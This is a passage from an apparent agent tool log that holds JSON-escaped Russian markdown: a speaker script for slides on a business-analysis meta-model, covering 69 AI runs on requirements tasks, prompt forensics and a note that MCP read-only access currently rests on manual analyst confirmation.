\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\\nPR \u0432 Source \u0438 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0435\u0439.\\n\\n\u041f\u0440\u043e\u0431\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0441\u0430\u043c\u0438\u043c: \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u0434\u043b\u044f Jira \u0438 Confluence\\n\u0447\u0435\u0440\u0435\u0437 MCP \u0441\u0435\u0439\u0447\u0430\u0441 \u2014 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. Hook \u043f\u0430\u043a\u0435\u0442\u0430 Cline \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n\u043b\u044e\u0431\u043e\u0439 MCP-\u0432\u044b\u0437\u043e\u0432, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u043c\\n([\u0413-12](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-12)).\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u0412\\n\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0440\u0435\u0448\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043a\u043e\u0434\u0430: \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0430\u043c\u0430.\",\n[2026-09-29T07:55:55.712Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 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\u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 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\u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 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\u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 